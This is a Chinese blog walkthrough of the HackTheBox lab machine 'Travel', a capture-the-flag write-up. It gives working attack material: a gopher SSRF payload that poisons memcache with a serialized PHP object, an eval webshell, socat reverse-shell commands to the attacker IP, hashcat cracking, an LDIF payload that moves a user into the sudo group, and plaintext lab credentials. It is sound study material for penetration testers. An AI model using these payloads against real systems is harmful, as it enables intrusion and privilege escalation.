hackthebox-Travel

Travel这台靶机真的是做hackthebox以来遇到的最佳靶机了。相比之前因为pwn的知识而根本没法下手的一些hard靶机。Travel属于纯渗透WEB知识,而且非常接近实战。难度甚至完全可以担当insane了。其起手式相比其他靶机相当困难。但我也因此学到了ssrf利用的新姿势,并且在之后的提权部分也基本上是面对完全未知的系统操作。所以最后完成的瞬间真的非常高兴。毕竟这是自己第一次做出不到四位数solved的靶机。整个过程中也遇到了很多困难。感谢anoNym1ty与traut的帮助。在他们给我的提示下我才能找到下手点并逐步完成渗透的过程。

Let's get it started.

由于Travel还是active状态,所以我会给文章上锁直到靶机退役。
9.14:靶机已退役

  • 靶机ip:10.10.10.189
  • 攻击机ip: 10.10.14.6

initial foothold

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 21:07 CST
Nmap scan report for 10.10.10.189
Host is up (0.44s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB
443/tcp open  ssl/http nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB - SSL coming soon.
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Not valid before: 2020-04-23T19:24:29
|_Not valid after:  2030-04-21T19:24:29
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap扫描显示了22,80与443端口。值得注意的是这次我们的nmap直接爆出了除www外的两个子域名blog.travel.htbblog-dev.travel.htb。这实际上节省了我们后续的很多时间。

然后老规矩一个个来了。

  • travel.htb。只是单纯的一个静态网页。中间提到blog字眼。看来是暗示了blog.travel.htb
  • blog.travel.htb 这个很有可能是重头戏。因为访问之后发现是一个wordpress搭建的网站。有着很明显的wordpress特征。且首页源码内有一段注释提到了-dev to -prod。似乎是blog-dev的提示。
  • blog-dev.travel.htb 访问直接是403。且跟前两者一样都是nginx服务。
  • https://www.travel.htb 直接访问会显示证书错误。网页提醒说要去non-https站看。因此没有过多信息。

因为没有过多有用的点。所以我们必须得用wfuzz来收集更多目录信息了。这一步基本上就两种选择:目录爆破或者子域名爆破。其中子域名我们应该已经齐全了,接下来就是一个不漏的进行目录爆破。(这点非常重要,因为我第一次忘记对blog-dev进行信息收集,所以导致错失关键信息)

对blog.travel.htb可以使用wpsscan 收集下wordpress的信息

wpscan --url https://xxxxx --enumerate vtp

并没有什么收获。之后用wfuzz对网站直接fuzzdir。也只是得到一些普通的wordpress路径。
ps: 这里因为自己第一次下手wordpress之类的站。导致对一些常规的php文件与路由会过分关注。比如一般robots.txt中会出现的allow: /wp-admin/admin-ajax.php.以及xmlrpc.php。后者确实存在一些ping的命令调用,但是并没有什么用。而这个站还有wp-json的res api。但是除了博文信息一无所获。

之后转向blog-dev.travel.htb。开始使用的字典什么都没爆出来,但是之后换了/usr/share/wordlists/dirb/common.txt后得到了一个.git/HEAD的存在。原来是存在.git泄露。(再吐槽下,kali自带的几个字典有时真的拉胯,如果是平时打CTF用的扫描器肯定不会出这种没爆出来.git的问题)

那就常规githack源码恢复。得到三个文件
README.md

# Rss Template Extension

Allows rss-feeds to be shown on a custom wordpress page.

## Setup

* `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty` 
* create logs directory in `wp-content/themes/twentytwenty` 
* create page in backend and choose rss_template.php as theme

## Changelog

- temporarily disabled cache compression
- added additional security checks 
- added caching
- added rss template

## ToDo

- finish logging implementation

rss_template.php

<?php
/*
Template Name: Awesome RSS
*/
include('template.php');
get_header();

?>

<main class="section-inner">
<?php
    function get_feed($url){
     require_once ABSPATH . '/wp-includes/class-simplepie.php';     
     $simplepie = null;   
     $data = url_get_contents($url);
     if ($url) {
         $simplepie = new SimplePie();
         $simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
         //$simplepie->set_raw_data($data);
         $simplepie->set_feed_url($url);
         $simplepie->init();
         $simplepie->handle_content_type();
         if ($simplepie->error) {
             error_log($simplepie->error);
             $simplepie = null;
             $failed = True;
         }
     } else {
         $failed = True;
     }
     return $simplepie;
      }
$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
    $tmp = (explode("=", $url));    
    $url = end($tmp);   
} else {
    $url = "http://www.travel.htb/newsfeed/customfeed.xml";
    }
    $feed = get_feed($url); 
    if ($feed->error())
    {
        echo '<div class="sp_errors">' . "\r\n";
        echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n";
        echo '</div>' . "\r\n";
    }
    else {
?>
    <div class="chunk focus">
        <h3 class="header">
        <?php 
            $link = $feed->get_link();
            $title = $feed->get_title();
            if ($link) 
            { 
                $title = "<a href='$link' title='$title'>$title</a>"; 
            }
            echo $title;
        ?>
        </h3>
        <?php echo $feed->get_description(); ?>

    </div>
    <?php foreach($feed->get_items() as $item): ?>
        <div class="chunk">
            <h4><?php if ($item->get_permalink()) echo '<a href="' . $item->get_permalink() . '">'; echo $item->get_title(); if ($item->get_permalink()) echo '</a>'; ?>&nbsp;<span class="footnote"><?php echo $item->get_date('j M Y, g:i a'); ?></span></h4>
            <?php echo $item->get_content(); ?>
            <?php
            if ($enclosure = $item->get_enclosure(0))
            {
                echo '<div align="center">';
                echo '<p>' . $enclosure->embed(array(
                    'audio' => './for_the_demo/place_audio.png',
                    'video' => './for_the_demo/place_video.png',
                    'mediaplayer' => './for_the_demo/mediaplayer.swf',
                    'altclass' => 'download'
                )) . '</p>';
                if ($enclosure->get_link() && $enclosure->get_type())
                {
                    echo '<p class="footnote" align="center">(' . $enclosure->get_type();
                    if ($enclosure->get_size())
                    {
                        echo '; ' . $enclosure->get_size() . ' MB';
                    }
                    echo ')</p>';
                }
                if ($enclosure->get_thumbnail())
                {
                    echo '<div><img src="' . $enclosure->get_thumbnail() . '" alt="" /></div>';
                }
                echo '</div>';
            }
            ?>

        </div>
    <?php endforeach; ?>
<?php } ?>
</main>

<!--
DEBUG
<?php
if (isset($_GET['debug'])){
  include('debug.php');
}
?>
-->

<?php get_template_part( 'template-parts/footer-menus-widgets' ); ?>

<?php
get_footer();

template.php

<?php

/**
 Todo: finish logging implementation via TemplateHelper
*/

function safe($url)
{
    // this should be secure
    $tmpUrl = urldecode($url);
    if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
    {       
        die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
    }
    if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
    {       
        die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
    }
    $tmp = parse_url($url, PHP_URL_HOST);
    // preventing all localhost access
    if($tmp == "localhost" or $tmp == "127.0.0.1")
    {       
        die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");      
    }
    return $url;
}

function url_get_contents ($url) {
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    $output = shell_exec($pl);
    return $output;
}


class TemplateHelper
{

    private $file;
    private $data;

    public function __construct(string $file, string $data)
    {
        $this->init($file, $data);
    }

    public function __wakeup()
    {
        $this->init($this->file, $this->data);
    }

    private function init(string $file, string $data)
    {       
        $this->file = $file;
        $this->data = $data;
        file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
    }
}

到这一步一下子得到了很多关键信息。我首先注意到的是template.php中存在的针对ssrf的waf以及一个可以写文件的反序列化利用。看来我们的最终目的肯定是反序列化写webshell了。

回过头看readme.提到它将这两个php文件放在twentytwenty的文件夹下。并且似乎使用了rss_template.php作为模板文件。
这点从我们访问网址提供的blog主页也可以看出。


然后注意rss_template.php.其中有很多关键语句。大致流程是。如果我们传了custom_feed_url变量。其值将被送去过一层waf.然后调用curl+escapeshellarg(url)的系统命令。之后是与memcache进行连接,进行了一系列操作。
同时,注意php中还有提到debug.php的存在。如果带上参数debug就会include debug.php.

这里大致的脉络肯定有了。反序列化存在一个写文件的利用。curl存在一个ssrf的利用.并且waf很好绕。关键在于如何通过ssrf 反序列化。我想大部分应该都只接触过ssrf打redis触发python 的pickle数据反序列化。但是这里是php,真的有办法让curl执行的ssrf触发反序列化吗?答案是肯定的。

首先我去了解了下Memcache。发现这是一个及其类似redis的键值存储数据库。只不过常用于缓存服务器。其大致操作与redis非常相近

#set 命令
set key flags exptime bytes [noreply] 
value 

#get 命令
get key

那么这里我们必须找到memcache与序列化数据的相互关联。不过在此之前我们可以先在页面尝试下这个ssrf.并且通过debug参数看看debug.php会返回什么

<!--
DEBUG
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
| xct_43dbce622f(...) |  |
| xct_0c192bbacb(...) | a:3:{s:3:"url";s:17:"http://0.0.0.(...) |
| xct_58f1d97bfd(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

我发现它似乎的确是按键值序存储的。并且数据的确是反序列化数据。但是我们看不到完整的键名。也不清楚是否存在反序列化的过程,还是只是单纯序列化存入。

那么我们恐怕得深入下源码了。这里关于memcache的链接主要用到的是/wp-includes/class-simplepie.php我们来审计一下。

$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
//$simplepie->set_raw_data($data);
$simplepie->set_feed_url($url);
$simplepie->init();
$simplepie->handle_content_type();

可以看到这段与memcache相关代码主要是执行了四个函数。其中我们传入的url会被作为其中一个的参数。
来到Simplepie


构造函数主要是实例化了两个类。后面由于我们构造函数并没有传入参数所以不用管。而且其实可以看到现在只支持通过后面的函数传递构造参数。
SimplePie_Sanitize类跟一下没什么内容。大致是一个格式规范的作用。SimplePie_Registry似乎是一个注册器的功能。
回到rss,调用了set_cache_location


这里并没有对我们传入的参数memcache://127.0.0.1:11211/?timeout=60&prefix=xct_进行处理
然后是
$simplepie->set_feed_url($url);

由于我们的url只有一个。所以不会进入in_array()而是进入else分支。看到它用registrty属性调用了call方法。而registry就是之前实例化的SimplePie_Registry对象。我们跟过去看看

get_class方法

public function get_class($type)
{
        if (!empty($this->classes[$type]))
        {
            return $this->classes[$type];
        }
        if (!empty($this->default[$type]))
        {
            return $this->default[$type];
        }

        return null;
}

我们送入call的type与method分别是Miscfix_protocol.这里去找找到了default属性

Misc对应了SimplePie_Misc。返回了这个字符串。那么现在就可以回到call继续看调用了什么。由于$this->legacy默认是空的,不满足in_array($class, $this->legacy)。最后其实就是返回了一个$result = call_user_func_array(array($class, $method), $parameters);
也就是用SimplePie_Misc类的fix_protocol方法处理array($url, 1)
fix_protocol简单跟一下发现就是简单的url格式处理。所以如果我们开始传入的url是http://127.0.0.1/这样标准的url。返回值就不会变。

(这里的registry其实就是一个注册器调用方法的例子,学习了)

那么最后结束。整个set_feed_url执行的是对$this->feed_url$this->permanent_url的赋值。值均为我们传入的url.

接下来回到rss_templatee.php调用的init()
首先大致看下。发现存在一个if分支。我们进入的是if ($this->feed_url !== null)的分支

可以看到首先是注册器有调用了一次SimplePie_Misc的parse_url方法处理url。然后我们进入$this->cache && $parsed_feed_url['scheme'] !== ''的if分支。这里回过头看下 $this->cache是默认true的。我们的url肯定也是http协议的。所以确认进入if.看看调用了什么方法。
首先$force_feed默认为false.那么我们直接看下面这个注册器调用的方法。也是重中之重。

$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $url), 'spc'));

根据前面的注册器调用规则,我们知道这里肯定是调用SimplePie_Cache的gethandler方法。参数是cache_locationcall_user_func($this->cache_name_function, $url), 'spc')组成的数组。

这里顺便看眼$this->cache_name_function发现是默认为'md5'的字符串。
那么现在看看Cache的gethandler方法。

首先处理了我们之前一直没用上的memcache://127.0.0.1:11211/?timeout=60&prefix=xct_可以看到取出的$type是memcache.

对应到设定的$handler属性,返回的就是SimplePie_Cache_Memcache。那最后实际上这里get_handler是实例化了一个SimplePie_Cache_Memcache对象。

继续跟到SimplePie_Cache_Memcache去


这两句非常关键

$this->name = $this->options['extras']['prefix'] . md5("$name:$type");
$this->cache = new Memcache();

可以看到上面因为用parse_url处理了我们的memcache连接url。那么$options应该是被我们的设置覆盖了一次。此时timeout=60(cache有效时间),prefix为xct_

而name的赋值涉及到送入构造方法的$name$type.回头看看当初的参数。

$name
=>call_user_func($this->cache_name_function, $url)
=>md5($url)
$type
=>'spc'

也就是说name的命名方法是

xct_ +  md5(md5('name')+ ':spc')

到这一步为止,我们不难发现键名其实是完全可控的。并且$cache是一个SimplePie_Cache_Memcache对象。
那么回到init(),下一步是跟下$this->fetch_data($cache)方法,发现调用了$this->data = $cache->load();

终于看到了梦寐以求的unserialize。而$data = $this->cache->get($this->name)就是Memcache中按照键名取其值的内容。到此为止,我们总算找到了反序列化的利用链。

也就是说,我们每次调用ssrf时。对应的url都会被存进memcache并且反序列化。而这就带来了利用的机会。

在实际做靶机时,我是先用ssrf打memcache,再回过头看键名的问题的。实际上ssrf打memcache用gopherus可以轻松生成payload
传入我们之前准备的序列化写shell的序列化数据

class TemplateHelper
{
    public $file;
    public $data;
}
$o=new TemplateHelper();
$o->file='byc.php';
$o->data='<?php eval($_REQUEST[byc]);?>';
echo(serialize($o));
O:14:"TemplateHelper":2:{s:4:"file";s:7:"byc.php";s:4:"data";s:31:"<?php system($_REQUEST[byc]);?>";}

生成数据

gopher://127.0.0.1:11211/_%0d%0aset%20xct_byc404%204%200%2099%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:7:%22byc.php%22%3Bs:4:%22data%22%3Bs:29:%22%3C%3Fphp%20eval%28%24_REQUEST%5Bbyc%5D%29%3B%3F%3E%22%3B%7D%0d%0a

当然这里ssrf会因为127.0.0.1被禁。不过使用0.0.0.0即可。跟网鼎杯郁师傅的题一样的。
先打一发随便设个键名xct_byc404

从include 的 debug.php可以看到,我们成功写入序列化数据。
那么接下来利用的思路就很简单了。我们提前设计好url.计算出其对应的memcache存储键名。然后用gopherssrf打memcache,设置好键名与序列化payload。接下来再传提前设计的url,即可触发反序列化。
这里我准备的是http://127.0.0.2/按照上面的规则,生成的键名应该是xct_43dbce622f33d358dcd3bff9f2994ac8

那么ssrf打一发


接着再把url改成http://127.0.0.2/传一次。访问wp-content/themes/twentytwenty/logs/byc.php发现成功写入webshell

那么接下来就只用弹shell了


成功拿到www-data

小结下。这一部分的难度恐怕是前所未有。因为很少有出现ssrf打memcache的情况。并且其涉及的反序列化还需要进框架深挖。这种接近实战的点真的非常难得,给出题人点个赞。同时也提醒我一点,ssrf触发序列化不再是python的专利了。用php也是一种门道。我们同样可以挖出一条利用链。

privesc to lynik-admin

getshell后,首先把shell往html目录cp一份。因为logs下的文件会被定期删除。
接着开始enumertion了。首先自己先去wp-confg.php找信息。发现了database用户跟密码

db: wp
wp:fiFtDDV9LYe8Ti

但是却发现因为没有升级shell的原因导致出不来mysql界面(操作还是没问题的,但是太难受了),索性放弃mysql。跑了下linpeas.sh

由于种种原因,这里linpeas.sh没跑完就提前终止了。实际上是因为这个docker容器里有两份wordpress源码。内容过多,导致linpeas会呈现很多其实并没有什么用的内容。

不过即便如此,linpeas还是能找到/opt/wordpress下的一个sqlbackup文件
backup13-04-2020.sql

其内容同样过多。因此我们直接下到本地,寻找其中user信息
cat *.sql | grep user

这次得到了两个用户

INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt');

把两个hash存起来,hashcat 爆破之

hashcat -m 400 -a 0 --force  -o pass.txt wp_pass  /usr/share/wordlists/rockyou.txt

这里第一个hash非常坑,使用rockyou字典跑完了都没跑出来。第二个hash倒是很快就能爆破出密码。
所以现在总算有一个有效的cred了。
lynik-admin:1stepcloser
尝试直接ssh登录,拿到user.txt

这一部分算是比较基础的enumerate.我个人认为linpeas可能还没有直接下手找关键文件效果好。同样即使获取了文件。也要注意提取关键信息,不要被太多垃圾信息混淆视线。

然后关于tty的方法。我后来发现除了python的以外还能使用socat升级shell.

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.6:4444

socat file:`tty`,raw,echo=0 tcp-listen:4444

privesc to root

登录到主机后首先很快发现当前目录有两个关键文件。

  • ~/.ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
  • .viminfo
# This viminfo file was generated by Vim 8.1. 
# You may edit it if you're careful!                                                                
# Viminfo version                                                                                                                                     
|1,4       
# Value of 'encoding' when this file was written    
*encoding=utf-8                                                                                                                                                                 
# hlsearch on (H) or off (h):                                         
~h                                                                                                                                                    
# Command Line History (newest to oldest):                                                       
:wq!
|2,0,1587670530,,"wq!"

# Search String History (newest to oldest):

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Debug Line History (newest to oldest):

# Registers:
""1     LINE    0
        BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"

# File marks:
'0  3  0  ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"
# Jumplist (newest first):
-'  3  0  ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-''  1  0  ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"

# History of marks within files (newest to oldest):

> ~/.ldaprc
        *       1587670529      0
        "       3       0
        .       4       0
        +       4       0

收获了一个密码。Theroadlesstraveled
这里两个文件都与ldap相关。这点我们也可以从hosts中发现

127.0.0.1 localhost
127.0.1.1 travel
172.20.0.10 ldap.travel.htb

::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

直接curl下看看

发现应该是一个openldap系统

在花了很长时间从零开始了解ldap后。我终于知道怎么跟ldap系统进行交互了。那就是使用ldapsearch。这里先看下ldapsearch 的help中给出的几个flag

ldapsearch
-D binddn  bind DN 
-w passwd  bind password (for simple authentication)

DN就是每个用户独一无二的入口。比如我的DN就是cn=lynik-admin,dc=travel,dc=htb.正好在ldaprc上提到了。而同理,密码就是Theroadlesstraveled

使用ldapsearch -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled得到了许多返回值。其中前面一部分是这样的

# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel

# admin, travel.htb
dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator

# servers, travel.htb
dn: ou=servers,dc=travel,dc=htb
description: Servers
objectClass: organizationalUnit
ou: servers

# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ== 

这里我们发现自己的用户lynik-admin起到的正是ldap admin的角色。不过同时还有另一个admin。我们自身的信息暴露出的还有一个userPassword.但是这串密码base4decode后的内容也是不可破解的。

除了上面这些以外,我们还收集到了一堆似乎并不存在的用户


在这一步我卡了很久。很大程度上是因为对ldap不熟悉。并且网上并没有什么关于ldap与提权相关的信息。但是搜集了一些文章后,大致发现几点

  • ldap admin可以修改其他用户的属性
  • ldap支持 sshPublickey 属性

https://www.digitalocean.com/community/tutorials/how-to-use-ldif-files-to-make-changes-to-an-openldap-system
http://pig.made-it.com/ldap-openssh.html
https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/

这几篇文章读完后,大致心里有了数:如果我们修改uidNumber,gidNumber这样的关键信息。并且给其ssh key。我们就能更改用户角色并且登录。

这里尝试设置密码并不太可行。所以无法直接su到用户。但是如果设置ssh公钥就没有这个问题

按照digitalocean那篇文章,我的最终payload

dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: uidNumber
uidNumber: 1001
-
replace: gidNumber
gidNumber: 27
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDwCi7CgbhlT2JWuhFOWWv+O3ENplGfGc9uwiKZ4W7GIbFI3rytRnmn8OalqGwQs++QQF1MQRUIVyJRjB0gdYoccKRs1GlQAcoXDBsmGp7NpIXIlYQ24kmcyLhAY85Al75li+cv/5j1RlN/W0eqoxuKIY6/g2F7FXbO3ZQSGRUtN6b52ePeJLIuOwn+FzXsnhuMPADDtMu7Eseh3i49N/KK3c/COZ6YxA2RYbzqNNIYyIWZK/z89FTAgNVQjNZqGsFjxkKZqIWbiSuo/c/UJauRetrv8vcvkL+FaXMUZMhkf6x7diX1Qkv7Fn4SW0BbQrx+zpZfFVycx3CmTMXd2KRMfOVpRJmNF4rG2ndcX/HIfM1fNZiTYL126TddLmGVKxzCircfp/xRwogKyznbwGR5RV078Y0L6iDl8KLTU+lFmeNxqlqkGvTc0xbjjSpLbKLoWM5Pg3Lvvq29wYk6+iurTcm8aPNQkaYn+wRS8bZ4gdOF6y9RzbMZIW9Mn3YTcxU= root@byc404

这里我选择johnny这个用户。因此首先把它的dn放在第一行。之后通过changetype: modify后,就能通过replace替换属性值(有的属性不支持多个值)add增加属性值了。

通过将uid改为1001(lynik-admin)。以及将gid改为27(sudo group )。我们就能拥有sudo的权限。


ssh登录johnny


既然有了sudo的权限。那就直接su 到 root吧。由于之前的uid已经设置为lynik-admin。所以我们是知道sudo时的用户密码的。


rooted!

这一部分其实相对于我而言几次出现了毫无思路的情况。还是因为对ldap不熟悉导致的。不过真正坑了几篇文章后还是了解到了非常多的知识。对ldap也有了新的见解(然而我跟大多数人一样,认为这是个垃圾玩意).

summary

整体来说travel的确是个难得的优秀靶机。我也在htb上给了5星好评。其中起手式部分的确让我打开眼界,拓宽了我对ssrf的认识。如果能力足够的话也许我会尝试把类似的知识点拿到比赛中,让大家都了解下这个很有价值的利用点。:)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,837评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,551评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,417评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,448评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,524评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,554评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,569评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,316评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,766评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,077评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,240评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,912评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,560评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,176评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,425评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,114评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,114评论 2 352

推荐阅读更多精彩内容

  • 越打越菜 :(这次比赛难度相比上次RCTF的难度好了点。但是最后还是只能感慨自己tcl。做出来的只有CloudDi...
    byc_404阅读 2,213评论 0 1
  • 上周挖了几个SSRF漏洞,标的服务器配置较为简单,利用file协议就可以做很多事情。后来顺便看了一些SSRF漏洞相...
    AxisX阅读 2,358评论 0 3
  • 暑假快开始时做的第一台hard靶机。当时收获挺大的。因为这个好的开头所以现在已经逐渐适应hard难度了 因为现在还...
    byc_404阅读 2,414评论 0 3
  • 旨在解决渗透测试中遇到的各种疑难问题### 测试目标分类:WEB,APP,PC,SERVER等APP:1.利用抓包...
    曾经那个少年_阅读 2,356评论 1 0
  • 5月以来,哪怕对市场风向再不敏感的人,也感觉到阵阵凉意。二级市场连续下挫,一级市场融资环境恶化,不论企业融资数量还...
    钱皓频道阅读 6,040评论 1 6